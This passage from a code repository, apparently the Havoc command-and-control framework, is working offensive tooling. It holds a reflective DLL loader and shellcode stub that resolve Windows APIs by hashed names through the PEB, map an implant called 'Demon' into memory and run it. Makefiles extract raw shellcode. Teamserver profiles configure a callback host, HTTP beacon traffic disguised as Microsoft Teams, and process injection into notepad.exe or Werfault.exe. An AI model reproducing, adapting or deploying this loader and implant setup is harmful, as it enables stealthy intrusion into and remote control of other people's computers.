NtCurrentProcess(), &SecMemory, &SecMemorySize, Protection, &OldProtection ); for ( DWORD i = 0; i < NtHeaders->FileHeader.NumberOfSections; i++ ) { SecMemory = RVA2VA( PVOID, KVirtualMemory, SecHeader[ i ].VirtualAddress ); SecMemorySize = SecHeader[ i ].SizeOfRawData; Protection = 0; OldProtection = 0; if ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE ) Protection = PAGE_WRITECOPY; if ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_READ ) Protection = PAGE_READONLY; if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_READ ) ) Protection = PAGE_READWRITE; if ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) Protection = PAGE_EXECUTE; if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE ) ) Protection = PAGE_EXECUTE_WRITECOPY; if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_READ ) ) Protection = PAGE_EXECUTE_READ; if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_READ ) ) Protection = PAGE_EXECUTE_READWRITE; Instance.Win32.NtProtectVirtualMemory( NtCurrentProcess(), &SecMemory, &SecMemorySize, Protection, &OldProtection ); } Instance.Win32.NtFlushInstructionCache( NtCurrentProcess(), NULL, 0 ); // ---------------------------------- // 6. Execute TLS callbacks // ---------------------------------- rva = NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress; if ( rva != 0 ) { tls = RVA2VA(PIMAGE_TLS_DIRECTORY, KVirtualMemory, rva); callbacks = (PIMAGE_TLS_CALLBACK*)tls->AddressOfCallBacks; if ( callbacks ) { while( *callbacks != NULL ) { // call function (*callbacks)((LPVOID)KVirtualMemory, DLL_PROCESS_ATTACH, NULL); callbacks++; } } } // -------------------------------- // 7. Finally executing our DllMain // -------------------------------- BOOL ( WINAPI *KaynDllMain ) ( PVOID, DWORD, PVOID ) = RVA2VA( PVOID, KVirtualMemory, NtHeaders->OptionalHeader.AddressOfEntryPoint ); KaynDllMain( KVirtualMemory, DLL_PROCESS_ATTACH, lpParameter ); } } NAKED LPVOID KaynCaller( PVOID StartAddress ) { asm( "start: \n" "xor rbx, rbx \n" "mov ebx, 0x5A4D \n" "loop: \n" "inc rcx \n" "cmp bx, [ rcx ] \n" "jne loop \n" "xor rax, rax \n" "mov ax, [ rcx + 0x3C ] \n" "add rax, rcx \n" "xor rbx, rbx \n" "add bx, 0x4550 \n" "cmp bx, [ rax ] \n" "jne start \n" "mov rax, rcx \n" "ret \n" ); } NAKED VOID Memcpy( PVOID Destination, PVOID source, SIZE_T Size ) { asm( "xor r10, r10 \n" "test r8, r8 \n" "jne copy1 \n" "ret \n" "copy1: \n" "dec r8 \n" "mov r10b, [rdx] \n" "mov [rcx], r10b \n" "inc rdx \n" "inc rcx \n" "test r8, r8 \n" "jne copy1 \n" "ret \n" ); } PVOID KGetModuleByHash( DWORD ModuleHash ) { PLDR_DATA_TABLE_ENTRY LoaderEntry = NULL; PLIST_ENTRY ModuleList = NULL; PLIST_ENTRY NextList = NULL; /* Get pointer to list */ ModuleList = & ( ( PPEB ) PPEB_PTR )->Ldr->InLoadOrderModuleList; NextList = ModuleList->Flink; for ( ; ModuleList != NextList ; NextList = NextList->Flink ) { LoaderEntry = NextList; if ( KHashString( LoaderEntry->BaseDllName.Buffer, LoaderEntry->BaseDllName.Length ) == ModuleHash ) return LoaderEntry->DllBase; } return NULL; } FORCE_INLINE UINT32 CopyDotStr( PCHAR String ) { for ( UINT32 i = 0; i < KStringLengthA( String ); i++ ) { if ( String[ i ] == '.' ) return i; } } PVOID KGetProcAddressByHash( PINSTANCE Instance, PVOID DllModuleBase, DWORD FunctionHash, DWORD Ordinal ) { PIMAGE_NT_HEADERS ModuleNtHeader = NULL; PIMAGE_EXPORT_DIRECTORY ModuleExportedDirectory = NULL; SIZE_T ExportedDirectorySize = 0; PDWORD AddressOfFunctions = NULL; PDWORD AddressOfNames = NULL; PWORD AddressOfNameOrdinals = NULL; PVOID FunctionAddr = NULL; UINT32 Index = 0; ModuleNtHeader = RVA2VA( PIMAGE_NT_HEADERS, DllModuleBase, ( ( PIMAGE_DOS_HEADER ) DllModuleBase )->e_lfanew ); ModuleExportedDirectory = RVA2VA( PIMAGE_EXPORT_DIRECTORY, DllModuleBase, ModuleNtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].VirtualAddress ); ExportedDirectorySize = ModuleNtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].Size; AddressOfNames = RVA2VA( PVOID, DllModuleBase, ModuleExportedDirectory->AddressOfNames ); AddressOfFunctions = RVA2VA( PVOID, DllModuleBase, ModuleExportedDirectory->AddressOfFunctions ); AddressOfNameOrdinals = RVA2VA( PVOID, DllModuleBase, ModuleExportedDirectory->AddressOfNameOrdinals ); for ( DWORD i = 0; i < ModuleExportedDirectory->NumberOfNames; i++ ) { if ( KHashString( RVA2VA( PCHAR, DllModuleBase, AddressOfNames[ i ] ), 0 ) == FunctionHash ) { FunctionAddr = RVA2VA( PVOID, DllModuleBase, AddressOfFunctions[ AddressOfNameOrdinals[ i ] ] ); if ( ( ULONG_PTR ) FunctionAddr >= ( ULONG_PTR ) ModuleExportedDirectory && ( ULONG_PTR ) FunctionAddr < RVA2VA( ULONG_PTR, ModuleExportedDirectory, ExportedDirectorySize ) ) { CHAR Library [ MAX_PATH ] = { 0 }; CHAR Function[ MAX_PATH ] = { 0 }; // where is the dot Index = CopyDotStr( FunctionAddr ); // Copy the library from our string Memcpy( Library, FunctionAddr, Index ); // Copy the function from our string Memcpy( Function, RVA2VA( PVOID, FunctionAddr, Index + 1 ), KStringLengthA( RVA2VA( PCHAR, FunctionAddr, Index + 1 ) ) ); DllModuleBase = KLoadLibrary( Instance, Library ); FunctionAddr = KGetProcAddressByHash( Instance, DllModuleBase, KHashString( Function, 0 ), 0 ); } return FunctionAddr; } } return NULL; } VOID KResolveIAT( PINSTANCE Instance, LPVOID KaynImage, LPVOID IatDir ) { PIMAGE_THUNK_DATA OriginalTD = NULL; PIMAGE_THUNK_DATA FirstTD = NULL; PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = NULL; PIMAGE_IMPORT_BY_NAME pImportByName = NULL; PCHAR ImportModuleName = NULL; HMODULE ImportModule = NULL; for ( pImportDescriptor = IatDir; pImportDescriptor->Name != 0; ++pImportDescriptor ) { ImportModuleName = RVA2VA( PCHAR, KaynImage, pImportDescriptor->Name ); ImportModule = KLoadLibrary( Instance, ImportModuleName ); OriginalTD = RVA2VA( PIMAGE_THUNK_DATA, KaynImage, pImportDescriptor->OriginalFirstThunk ); FirstTD = RVA2VA( PIMAGE_THUNK_DATA, KaynImage, pImportDescriptor->FirstThunk ); for ( ; OriginalTD->u1.AddressOfData != 0 ; ++OriginalTD, ++FirstTD ) { if ( IMAGE_SNAP_BY_ORDINAL( OriginalTD->u1.Ordinal ) ) { // TODO: get function by ordinal PVOID Function = KGetProcAddressByHash( Instance, ImportModule, NULL, IMAGE_ORDINAL( OriginalTD->u1.Ordinal ) ); if ( Function != NULL ) FirstTD->u1.Function = Function; } else { pImportByName = RVA2VA( PIMAGE_IMPORT_BY_NAME, KaynImage, OriginalTD->u1.AddressOfData ); DWORD FunctionHash = KHashString( pImportByName->Name, KStringLengthA( pImportByName->Name ) ); LPVOID Function = KGetProcAddressByHash( Instance, ImportModule, FunctionHash, 0 ); if ( Function != NULL ) FirstTD->u1.Function = Function; } } } } VOID KReAllocSections( PVOID KaynImage, PVOID ImageBase, PVOID BaseRelocDir ) { PIMAGE_BASE_RELOCATION pImageBR = (PIMAGE_BASE_RELOCATION)BaseRelocDir; LPVOID OffsetIB = C_PTR( U_PTR( KaynImage ) - U_PTR( ImageBase ) ); PIMAGE_RELOC Reloc = NULL; while( pImageBR->VirtualAddress != 0 ) { Reloc = ( PIMAGE_RELOC ) ( pImageBR + 1 ); while ( ( PBYTE ) Reloc != ( PBYTE ) pImageBR + pImageBR->SizeOfBlock ) { if ( Reloc->type == IMAGE_REL_TYPE ) *( ULONG_PTR* ) ( U_PTR( KaynImage ) + pImageBR->VirtualAddress + Reloc->offset ) += ( ULONG_PTR ) OffsetIB; else if ( Reloc->type != IMAGE_REL_BASED_ABSOLUTE ) __debugbreak(); // TODO: handle this error Reloc++; } pImageBR = ( PIMAGE_BASE_RELOCATION ) Reloc; } } PVOID KLoadLibrary( PINSTANCE Instance, LPSTR ModuleName ) { if ( ! ModuleName ) return NULL; UNICODE_STRING UnicodeString = { 0 }; WCHAR ModuleNameW[ MAX_PATH ] = { 0 }; DWORD dwModuleNameSize = KStringLengthA( ModuleName ); HMODULE Module = NULL; KCharStringToWCharString( ModuleNameW, ModuleName, dwModuleNameSize ); if ( ModuleNameW ) { USHORT DestSize = KStringLengthW( ModuleNameW ) * sizeof( WCHAR ); UnicodeString.Length = DestSize; UnicodeString.MaximumLength = DestSize + sizeof( WCHAR ); } UnicodeString.Buffer = ModuleNameW; if ( NT_SUCCESS( Instance->Win32.LdrLoadDll( NULL, 0, &UnicodeString, &Module ) ) ) return Module; else return NULL; } /* --------------------------------- ---- String & Data functions ---- --------------------------------- */ DWORD KHashString( PVOID String, SIZE_T Length ) { ULONG Hash = HASH_KEY; PUCHAR Ptr = String; do { UCHAR character = *Ptr; if ( ! Length ) { if ( !*Ptr ) break; } else { if ( (ULONG) ( Ptr - (PUCHAR)String ) >= Length ) break; if ( !*Ptr ) ++Ptr; } if ( character >= 'a' ) character -= 0x20; Hash = ( ( Hash << 5 ) + Hash ) + character; ++Ptr; } while ( TRUE ); return Hash; } SIZE_T KStringLengthA( LPCSTR String ) { LPCSTR String2 = String; for (String2 = String; *String2; ++String2); return (String2 - String); } SIZE_T KStringLengthW(LPCWSTR String) { LPCWSTR String2; for (String2 = String; *String2; ++String2); return (String2 - String); } SIZE_T KCharStringToWCharString( PWCHAR Destination, PCHAR Source, SIZE_T MaximumAllowed ) { INT Length = MaximumAllowed; while (--Length >= 0) { if (!(*Destination++ = *Source++)) return MaximumAllowed - Length - 1; } return MaximumAllowed - Length; } ================================================ FILE: payloads/DllLdr/makefile ================================================ CCX64 = x86_64-w64-mingw32-gcc CCX86 = i686-w64-mingw32-gcc INCLUDE = -I Include OPTIONS = -w -Wall -Wextra -masm=intel -fPIC -fno-asynchronous-unwind-tables $(INCLUDE) EXECUTABLE_X64 = DllLdr.x64.o RAWBINARY_X64 = ../DllLdr.x64.bin all: x64 x64: clean @ echo "[*] Compile x64 object file..." @ $(CCX64) -c Source/Entry.c -o $(EXECUTABLE_X64) $(OPTIONS) @ echo "[*] Extract shellcode: $(RAWBINARY_X64)" @ python3 Scripts/extract.py -f $(EXECUTABLE_X64) -o $(RAWBINARY_X64) @ rm $(EXECUTABLE_X64) clean: @ rm -rf Bin/*.o @ rm -rf Bin/*.bin ================================================ FILE: payloads/Shellcode/Bin/.gitignore ================================================ * !.gitignore ================================================ FILE: payloads/Shellcode/Include/Core.h ================================================ #include #include UINT_PTR GetRIP( VOID ); LPVOID KaynCaller(); VOID KaynLdrReloc( PVOID KaynImage, PVOID ImageBase, PVOID BaseRelocDir, DWORD KHdrSize ); #define PAGE_SIZE 4096 #define MemCopy __builtin_memcpy #define NTDLL_HASH 0x70e61753 #define SYS_LDRLOADDLL 0x9e456a43 #define SYS_NTALLOCATEVIRTUALMEMORY 0xf783b8ec #define SYS_NTPROTECTEDVIRTUALMEMORY 0x50e92888 typedef struct { WORD offset :12; WORD type :4; } *PIMAGE_RELOC; typedef struct { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } U_STRING, *PU_STRING; typedef struct { struct { UINT_PTR Ntdll; } Modules; struct { NTSTATUS ( NTAPI *LdrLoadDll )( PWSTR DllPath, PULONG DllCharacteristics, PU_STRING DllName, PVOID *DllHandle ); NTSTATUS ( NTAPI *NtAllocateVirtualMemory ) ( HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect ); NTSTATUS ( NTAPI *NtProtectVirtualMemory ) ( HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, ULONG NewProtect, PULONG OldProtect ); } Win32; } INSTANCE, *PINSTANCE; #pragma pack(1) typedef struct { PVOID KaynLdr; PVOID DllCopy; PVOID Demon; DWORD DemonSize; PVOID TxtBase; DWORD TxtSize; } KAYN_ARGS, *PKAYN_ARGS; ================================================ FILE: payloads/Shellcode/Include/Macro.h ================================================ #include #ifdef _WIN64 #define PPEB_PTR __readgsqword( 0x60 ) #else #define PPEB_PTR __readfsdword( 0x30 ) #endif #define SEC( s, x ) __attribute__( ( section( "." #s "$" #x "" ) ) ) #define U_PTR( x ) ( ( UINT_PTR ) x ) #define C_PTR( x ) ( ( LPVOID ) x ) #define NtCurrentProcess() ( HANDLE ) ( ( HANDLE ) - 1 ) #define GET_SYMBOL( x ) ( ULONG_PTR )( GetRIP( ) - ( ( ULONG_PTR ) & GetRIP - ( ULONG_PTR ) x ) ) ================================================ FILE: payloads/Shellcode/Include/Utils.h ================================================ #include UINT_PTR HashString( LPVOID String, UINT_PTR Length ); ================================================ FILE: payloads/Shellcode/Include/Win32.h ================================================ #include #include UINT_PTR LdrModulePeb( UINT_PTR hModuleHash ); PVOID LdrFunctionAddr( UINT_PTR hModule, UINT_PTR ProcHash ); ================================================ FILE: payloads/Shellcode/Scripts/Hasher.c ================================================ #include #include long Hash( char* String ) { unsigned long Hash = 5381; int c; while (c = *String++) Hash = ((Hash << 5) + Hash) + c; return Hash; } void ToUpperString(char * temp) { // Convert to upper case char *s = temp; while (*s) { *s = toupper((unsigned char) *s); s++; } } int main(int argc, char** argv) { if (argc < 2) return 0; ToUpperString(argv[1]); printf("\n[+] Hashed %s ==> 0x%x\n\n", argv[1], Hash( argv[1] )); return 0; } ================================================ FILE: payloads/Shellcode/Scripts/Linker.ld ================================================ SECTIONS { .text : { *( .text$A ) *( .text$B ) *( .text$C ) *( .text$D ) *( .text$E ) *( .rdata* ) *( .text$F ) } } ================================================ FILE: payloads/Shellcode/Scripts/extract.py ================================================ #!/usr/bin/env python3 # -*- coding:utf-8 -*- import pefile import argparse if __name__ in '__main__': try: parser = argparse.ArgumentParser( description = 'Extracts shellcode from a PE.' ); parser.add_argument( '-f', required = True, help = 'Path to the source executable', type = str ); parser.add_argument( '-o', required = True, help = 'Path to store the output raw binary', type = str ); option = parser.parse_args(); PeExe = pefile.PE( option.f ); PeSec = PeExe.sections[0].get_data(); if PeSec.find( b'ENDOFCODE' ) != None: ScRaw = PeSec[ : PeSec.find( b'ENDOFCODE' ) ]; f = open( option.o, 'wb+' ); f.write( ScRaw ); f.close(); else: print('[!] error: no ending tag'); except Exception as e: print( '[!] error: {}'.format( e ) ); ================================================ FILE: payloads/Shellcode/Source/Asm/x64/Asm.s ================================================ extern Entry global Start global GetRIP global KaynCaller section .text$A Start: push rsi mov rsi, rsp and rsp, 0FFFFFFFFFFFFFFF0h sub rsp, 020h call Entry mov rsp, rsi pop rsi ret section .text$F KaynCaller: call caller caller: pop rcx loop: xor rbx, rbx mov ebx, 0x5A4D inc rcx cmp bx, [ rcx ] jne loop xor rax, rax mov ax, [ rcx + 0x3C ] add rax, rcx xor rbx, rbx add bx, 0x4550 cmp bx, [ rax ] jne loop mov rax, rcx ret GetRIP: call retptr retptr: pop rax sub rax, 5 ret ================================================ FILE: payloads/Shellcode/Source/Asm/x86/Asm.s ================================================ [BITS 32] extern _Entry global _Start global _GetRIP global _KaynCaller section .text$A _Start: push esi mov esi, esp and esp, 0FFFFFFF0h sub esp, 020h call _Entry mov esp, esi pop esi ret section .text$F _KaynCaller: call caller caller: pop ecx loop: xor ebx, ebx mov ebx, 0x5A4D inc ecx cmp bx, [ ecx ] jne loop xor eax, eax mov ax, [ ecx + 0x3C ] add eax, ecx xor ebx, ebx add bx, 0x4550 cmp bx, [ eax ] jne loop mov eax, ecx ret _GetRIP: call retptr retptr: pop eax sub eax, 5 ret ================================================ FILE: payloads/Shellcode/Source/Entry.c ================================================ #include #include #include #ifdef _WIN64 #define IMAGE_REL_TYPE IMAGE_REL_BASED_DIR64 #else #define IMAGE_REL_TYPE IMAGE_REL_BASED_HIGHLOW #endif SEC( text, B ) VOID Entry( VOID ) { INSTANCE Instance = { 0 }; HMODULE KaynLibraryLdr = NULL; PIMAGE_NT_HEADERS NtHeaders = NULL; PIMAGE_SECTION_HEADER SecHeader = NULL; LPVOID KVirtualMemory = NULL; DWORD KMemSize = 0; DWORD KHdrSize = 0; PVOID SecMemory = NULL; PVOID SecMemorySize = 0; DWORD Protection = 0; ULONG OldProtection = 0; PIMAGE_DATA_DIRECTORY ImageDir = NULL; KAYN_ARGS KaynArgs = { 0 }; // 0. First we need to get our own image base KaynLibraryLdr = KaynCaller(); Instance.Modules.Ntdll = LdrModulePeb( NTDLL_HASH ); Instance.Win32.LdrLoadDll = LdrFunctionAddr( Instance.Modules.Ntdll, SYS_LDRLOADDLL ); Instance.Win32.NtAllocateVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, SYS_NTALLOCATEVIRTUALMEMORY ); Instance.Win32.NtProtectVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, SYS_NTPROTECTEDVIRTUALMEMORY ); NtHeaders = C_PTR( KaynLibraryLdr + ( ( PIMAGE_DOS_HEADER ) KaynLibraryLdr )->e_lfanew ); SecHeader = IMAGE_FIRST_SECTION( NtHeaders ); KHdrSize = SecHeader[ 0 ].VirtualAddress; KMemSize = NtHeaders->OptionalHeader.SizeOfImage - KHdrSize; if ( NT_SUCCESS( Instance.Win32.NtAllocateVirtualMemory( NtCurrentProcess(), &KVirtualMemory, 0, &KMemSize, MEM_COMMIT, PAGE_READWRITE ) ) ) { // TODO: find the base address of this shellcode in a better way? KaynArgs.KaynLdr = ( PVOID ) ( ( ( ULONG_PTR )KaynLibraryLdr ) & ( ~ ( PAGE_SIZE - 1 ) ) ); KaynArgs.DllCopy = KaynLibraryLdr; KaynArgs.Demon = KVirtualMemory; KaynArgs.DemonSize = KMemSize; for ( DWORD i = 0; i < NtHeaders->FileHeader.NumberOfSections; i++ ) { MemCopy( C_PTR( KVirtualMemory + SecHeader[ i ].VirtualAddress - KHdrSize ), // Section New Memory C_PTR( KaynLibraryLdr + SecHeader[ i ].PointerToRawData ), // Section Raw Data SecHeader[ i ].SizeOfRawData // Section Size ); } ImageDir = & NtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; if ( ImageDir->VirtualAddress ) KaynLdrReloc( KVirtualMemory, NtHeaders->OptionalHeader.ImageBase, C_PTR( KVirtualMemory + ImageDir->VirtualAddress ), KHdrSize ); for ( DWORD i = 0; i < NtHeaders->FileHeader.NumberOfSections; i++ ) { SecMemory = C_PTR( KVirtualMemory + SecHeader[ i ].VirtualAddress - KHdrSize ); SecMemorySize = SecHeader[ i ].SizeOfRawData; Protection = 0; OldProtection = 0; if ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE ) Protection = PAGE_WRITECOPY; if ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_READ ) Protection = PAGE_READONLY; if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_READ ) ) Protection = PAGE_READWRITE; if ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) Protection = PAGE_EXECUTE; if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE ) ) Protection = PAGE_EXECUTE_WRITECOPY; if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_READ ) ) { Protection = PAGE_EXECUTE_READ; KaynArgs.TxtBase = KVirtualMemory + SecHeader[ i ].VirtualAddress - KHdrSize; KaynArgs.TxtSize = SecHeader[ i ].SizeOfRawData; } if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_READ ) ) Protection = PAGE_EXECUTE_READWRITE; Instance.Win32.NtProtectVirtualMemory( NtCurrentProcess(), &SecMemory, &SecMemorySize, Protection, &OldProtection ); } // -------------------------------- // 6. Finally executing our DllMain // -------------------------------- BOOL ( WINAPI *KaynDllMain ) ( PVOID, DWORD, PVOID ) = C_PTR( KVirtualMemory + NtHeaders->OptionalHeader.AddressOfEntryPoint - KHdrSize ); KaynDllMain( KVirtualMemory, DLL_PROCESS_ATTACH, &KaynArgs ); } } VOID KaynLdrReloc( PVOID KaynImage, PVOID ImageBase, PVOID BaseRelocDir, DWORD KHdrSize ) { PIMAGE_BASE_RELOCATION pImageBR = C_PTR( BaseRelocDir - KHdrSize ); LPVOID OffsetIB = C_PTR( U_PTR( KaynImage - KHdrSize ) - U_PTR( ImageBase ) ); PIMAGE_RELOC Reloc = NULL; while( pImageBR->VirtualAddress != 0 ) { Reloc = ( PIMAGE_RELOC ) ( pImageBR + 1 ); while ( ( PBYTE ) Reloc != ( PBYTE ) pImageBR + pImageBR->SizeOfBlock ) { if ( Reloc->type == IMAGE_REL_TYPE ) *( ULONG_PTR* ) ( U_PTR( KaynImage ) + pImageBR->VirtualAddress + Reloc->offset - KHdrSize ) += ( ULONG_PTR ) OffsetIB; else if ( Reloc->type != IMAGE_REL_BASED_ABSOLUTE ) __debugbreak(); // TODO: handle this error Reloc++; } pImageBR = ( PIMAGE_BASE_RELOCATION ) Reloc; } } ================================================ FILE: payloads/Shellcode/Source/Utils.c ================================================ #include #include SEC( text, B ) UINT_PTR HashString( LPVOID String, UINT_PTR Length ) { ULONG Hash = 5381; PUCHAR Ptr = String; do { UCHAR character = *Ptr; if ( ! Length ) { if ( !*Ptr ) break; } else { if ( (ULONG) ( Ptr - (PUCHAR)String ) >= Length ) break; if ( !*Ptr ) ++Ptr; } if ( character >= 'a' ) character -= 0x20; Hash = ( ( Hash << 5 ) + Hash ) + character; ++Ptr; } while ( TRUE ); return Hash; } ================================================ FILE: payloads/Shellcode/Source/Win32.c ================================================ #include #include #include SEC( text, B ) UINT_PTR LdrModulePeb( UINT_PTR hModuleHash ) { PLDR_DATA_TABLE_ENTRY pModule = ( PLDR_DATA_TABLE_ENTRY ) ( ( PPEB ) PPEB_PTR )->Ldr->InMemoryOrderModuleList.Flink; PLDR_DATA_TABLE_ENTRY pFirstModule = pModule; do { DWORD ModuleHash = HashString( pModule->FullDllName.Buffer, pModule->FullDllName.Length ); if ( ModuleHash == hModuleHash ) return ( UINT_PTR ) pModule->Reserved2[ 0 ]; pModule = ( PLDR_DATA_TABLE_ENTRY ) pModule->Reserved1[ 0 ]; } while ( pModule && pModule != pFirstModule ); return INVALID_HANDLE_VALUE; } SEC( text, B ) PVOID LdrFunctionAddr( UINT_PTR Module, UINT_PTR FunctionHash ) { PIMAGE_NT_HEADERS ModuleNtHeader = NULL; PIMAGE_EXPORT_DIRECTORY ModuleExportedDirectory = NULL; PDWORD AddressOfFunctions = NULL; PDWORD AddressOfNames = NULL; PWORD AddressOfNameOrdinals = NULL; ModuleNtHeader = C_PTR( Module + ( ( PIMAGE_DOS_HEADER ) Module )->e_lfanew ); ModuleExportedDirectory = C_PTR( Module + ModuleNtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].VirtualAddress ); AddressOfNames = C_PTR( Module + ModuleExportedDirectory->AddressOfNames ); AddressOfFunctions = C_PTR( Module + ModuleExportedDirectory->AddressOfFunctions ); AddressOfNameOrdinals = C_PTR( Module + ModuleExportedDirectory->AddressOfNameOrdinals ); for (DWORD i = 0; i < ModuleExportedDirectory->NumberOfNames; i++) { if ( HashString( C_PTR( Module + AddressOfNames[i] ), 0 ) == FunctionHash ) return C_PTR( Module + AddressOfFunctions[ AddressOfNameOrdinals[ i ] ] ); } } ================================================ FILE: payloads/Shellcode/makefile ================================================ CCX64 = x86_64-w64-mingw32-gcc CCX86 = i686-w64-mingw32-gcc CFLAGS = -Os -fno-asynchronous-unwind-tables -nostdlib CFLAGS += -fno-ident -fpack-struct=8 -falign-functions=1 CFLAGS += -s -ffunction-sections -falign-jumps=1 -w CFLAGS += -falign-labels=1 -fPIC -Wl,-TScripts/Linker.ld CFLAGS += -Wl,-s,--no-seh,--enable-stdcall-fixup EXECUTABLE_X64 = Bin/Shellcode.x64.exe EXECUTABLE_X86 = Bin/Shellcode.x86.exe RAWBINARY_X64 = ../Shellcode.x64.bin RAWBINARY_X86 = ../Shellcode.x86.bin all: x64 x86 x64: clean @ echo "[*] Compile x64 executable..." @ nasm -f win64 Source/Asm/x64/Asm.s -o Bin/Asm.x64.o @ $(CCX64) Source/*.c Bin/Asm.x64.o -o $(EXECUTABLE_X64) $(CFLAGS) $(LFLAGS) -IInclude -masm=intel @ echo "[*] Extract shellcode: $(RAWBINARY_X64)" @ python3 Scripts/extract.py -f $(EXECUTABLE_X64) -o $(RAWBINARY_X64) @ rm $(EXECUTABLE_X64) x86: clean @ echo "[*] Compile x86 executable..." @ nasm -f win32 Source/Asm/x86/Asm.s -o Bin/Asm.x86.o @ $(CCX86) Source/*.c Bin/Asm.x86.o -o $(EXECUTABLE_X86) $(CFLAGS) $(LFLAGS) -IInclude -masm=intel @ echo "[*] Extract shellcode: $(RAWBINARY_X86)" @ python3 Scripts/extract.py -f $(EXECUTABLE_X86) -o $(RAWBINARY_X86) @ rm $(EXECUTABLE_X86) clean: @ rm -rf Bin/*.o @ rm -rf Bin/*.bin @ rm -rf Bin/*.exe ================================================ FILE: profiles/havoc.yaotl ================================================ Teamserver { Host = "0.0.0.0" Port = 40056 Build { Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc" Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc" Nasm = "/usr/bin/nasm" } } Operators { user "5pider" { Password = "password1234" } user "Neo" { Password = "password1234" } } # this is optional. if you dont use it you can remove it. Service { Endpoint = "service-endpoint" Password = "service-password" } Demon { Sleep = 2 Jitter = 15 TrustXForwardedFor = false Injection { Spawn64 = "C:\\Windows\\System32\\notepad.exe" Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe" } } ================================================ FILE: profiles/http_smb.yaotl ================================================ Teamserver { Host = "0.0.0.0" Port = 40056 Build { Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc" Compiler86 = "/usr/bin/i686-w64-mingw32-gcc" Nasm = "/usr/bin/nasm" } } Operators { user "5pider" { Password = "password1234" } user "Neo" { Password = "password1234" } } Listeners { Http { Name = "teams profile - http" Hosts = [ "5pider.net", # our callback host. ] HostBind = "0.0.0.0" # the address where the listener should bind to. HostRotation = "round-robin" PortBind = 443 PortConn = 443 Secure = false # for now disabled so we can see the traffic content. (but alaways enabled this!!!) KillDate = "2024-01-02 12:00:00" UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36" Uris = [ "/Collector/2.0/settings/" ] Headers = [ "Accept: json", "Referer: https://teams.microsoft.com/_", "x-ms-session-id: f73c3186-057a-d996-3b63-b6e5de6ef20c", "x-ms-client-type: desktop", "x-mx-client-version: 27/1.0.0.2021020410", "Accept-Encoding: gzip, deflate, br", "Origin: https://teams.microsoft.com" ] Response { Headers = [ "Content-Type: application/json; charset=utf-8", "Server: Microsoft-HTTPAPI/2.0", "X-Content-Type-Options: nosniff", "x-ms-environment: North Europe-prod-3,_cnsVMSS-6_26", "x-ms-latency: 40018.2038", "Access-Control-Allow-Origin: https://teams.microsoft.com", "Access-Control-Allow-Credentials: true", "Connection: keep-alive" ] } } Smb { Name = "Pivot - Smb" PipeName = "demon_pipe" } } # this is optional. if you dont use it you can remove it. Service { Endpoint = "service-endpoint" Password = "service-password" } Demon { Sleep = 2 Jitter = 20 TrustXForwardedFor = false Injection { Spawn64 = "C:\\Windows\\System32\\Werfault.exe" Spawn32 = "C:\\Windows\\SysWOW64\\Werfault.exe" } } ================================================ FILE: profiles/webhook_example.yaotl ================================================ Teamserver { Host = "0.0.0.0" Port = 40056 } WebHook { Discord { # required Url = "..." # replace this with your webhook # optional AvatarUrl = "https://raw.githubusercontent.com/HavocFramework/Havoc/main/Assets/Havoc.png" # url to an image to use as an avatar # optional User = "Havoc" # User name of the webhook bot } } Operators { user "5pider" { Password = "password1234" } user "Neo" { Password = "password1234" } } # this is optional. if you dont use it you can remove it. Service { Endpoint = "service-endpoint" Password = "service-password" } Demon { Sleep = 2 Jitter = 30 TrustXForwardedFor = false Injection { Spawn64 = "C:\\Windows\\System32\\notepad.exe" Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe" } } ================================================ FILE: teamserver/GA-Teamserver ================================================ # Havoc Teamserver Dockerfile # ------------------------------------------------------------------------------ # Commands for usage: # # Build image file: # 'sudo docker build -t ga-teamserver 